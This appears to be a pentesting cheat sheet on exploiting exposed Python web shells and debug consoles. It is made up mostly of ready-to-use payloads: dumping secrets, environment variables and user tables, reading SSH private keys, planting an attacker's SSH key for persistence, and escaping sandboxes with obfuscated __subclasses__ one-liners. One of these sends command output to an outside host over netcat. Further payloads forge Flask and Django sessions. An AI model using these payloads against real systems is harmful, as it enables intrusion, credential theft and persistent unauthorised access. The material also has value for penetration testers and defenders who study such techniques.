Python Web Shells
Enumerate the environment
globals
print(globals().keys())
print(sorted(list(globals().keys())))
print(globals())
If
os
orsubprocess
are available, try to run commands directly
os.system("id")
If not, try accessing it via
builtins
__import__('os').system("id")
Check also environment variables
import os
print(os.environ)
Check the attributes of what is available:
print(dir(User))
locals
locals().keys()
builtins
__builtins__.__dict__
Identify Object Types
sessions
sessions
print(type(session), session)
print(session.__dict__)
print(session._get_current_object())
print(app.config)
print(app.config['SECRET_KEY'])
db
db
print(type(db), dir(db))
dir(db)
There is a
Django Admin Shell
?
print(type(db))
print(db.connection.cursor().execute("SELECT * FROM auth_user;").fetchall())
print(db.connection.cursor().execute("SELECT name FROM sqlite_master WHERE type='table';").fetchall())
If
db
isSQLAlchemy
?
print(db.engine.url)
If
query
andUser
are available:
print(User.query.all())
print('\n'.join(f"{u.username}:{u.password]}" for u in users))
Enumerate the system
os.getcwd()
os.listdir()
os.listdir('/home/user/.ssh')
with open('/home/user/.ssh/id_rsa','r') as f: f.read()
Try to inject SSH keys
with open('/home/user/.ssh/authorized_keys','a') as f: f.write('\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SwpwZ7rgMtCZYzkDtFJvQZO20N+8DmYxOix+PgL6VQW/9wZC3xnKK1zeAelMYtv/O38GXE2ghUH7z6ayVmTMkjGqt18mhsEpCt0BbonGRC0IHoBsV5QBVNin+x1soVdECT1Tr45bNnTnkZXIgSyDumc+2Ix6A1wiiC5RbI3SrxJ7nL0lRlhjdoAH6KCb4dwhX+Jos0VudHRreE01+0YE0Qb7Sd0eA5Cq7UtjgiW6VyXcmWH7aQdVZlUanrs5wdwWYeVCxY/XfFCCDmHZw+8W5INudM2t7on7bl/rYnhAExOr14/1s7LfYAfV8B6VNPPX+IOzOcT4aYQC3rRDiG5P tokyo@arch')
Bypass Sandbox
Pass modules as strings:
print(globals()['o' + 's'])
print(globals()['so'[::-1]])
o_s = globals()['so'[:1]]
po_pen = getattr(o_s, 'poXpen'.replace('X', ''))
cmd = po_pen('id')
res = getattr(cmd, 're' + 'ad')()
print(res)
Works if builtins
is accessible - common in debug consoles
__builtins__.__import__('os').system('id')
Find usable classes - If __builtins__
is restricted
print([x.__name__ for x in (1).__class__.__base__.__subclasses__()])
Using catch_warnings
- Common in Python 3
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == '_IterationGuard'][0].__init__.__globals__['os'].system('id')
subprocess.Popen
- If os is Blocked
[x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0](['whoami'], stdout=-1).communicate()
importlib
Bypass - If import is Restricted
[x for x in (1).__class__.__base__.__subclasses__() if 'wrap_socket' in x.__name__][0].__init__.__globals__['__import__']('os').system('id')
For Older Python sandboxes - Python 2.x, some 3.x
[w for w in 1..__class__.__base__.__subclasses__() if w.__name__=='Quitter'] [0].__init__.__globals__['sy'+'s'].modules['o'+'s'].__dict__['sy'+'stem']('whoami | nc 10.10.16.25 8888')
Exploit sessions
Stealing Flask Session Cookies
If
session
is aLocalProxy
, you can extract its real data.
print(session.__dict__)
print(session._get_current_object())
If the secret key is exposed you can forge malicious sessions.
Modifying Django Sessions
from django.contrib.sessions.models import Session
print(Session.objects.all())
Look for RCE
Use the subprocess.check_output()
function instead to execute code and save it to a variable:
import subprocess
proc = subprocess.check_output('whoami', shell=True );
print(proc.decode('utf-8'))
proc = subprocess.check_output('ls -la /home/hal', shell=True );
print(proc.decode('utf-8'))
Last updated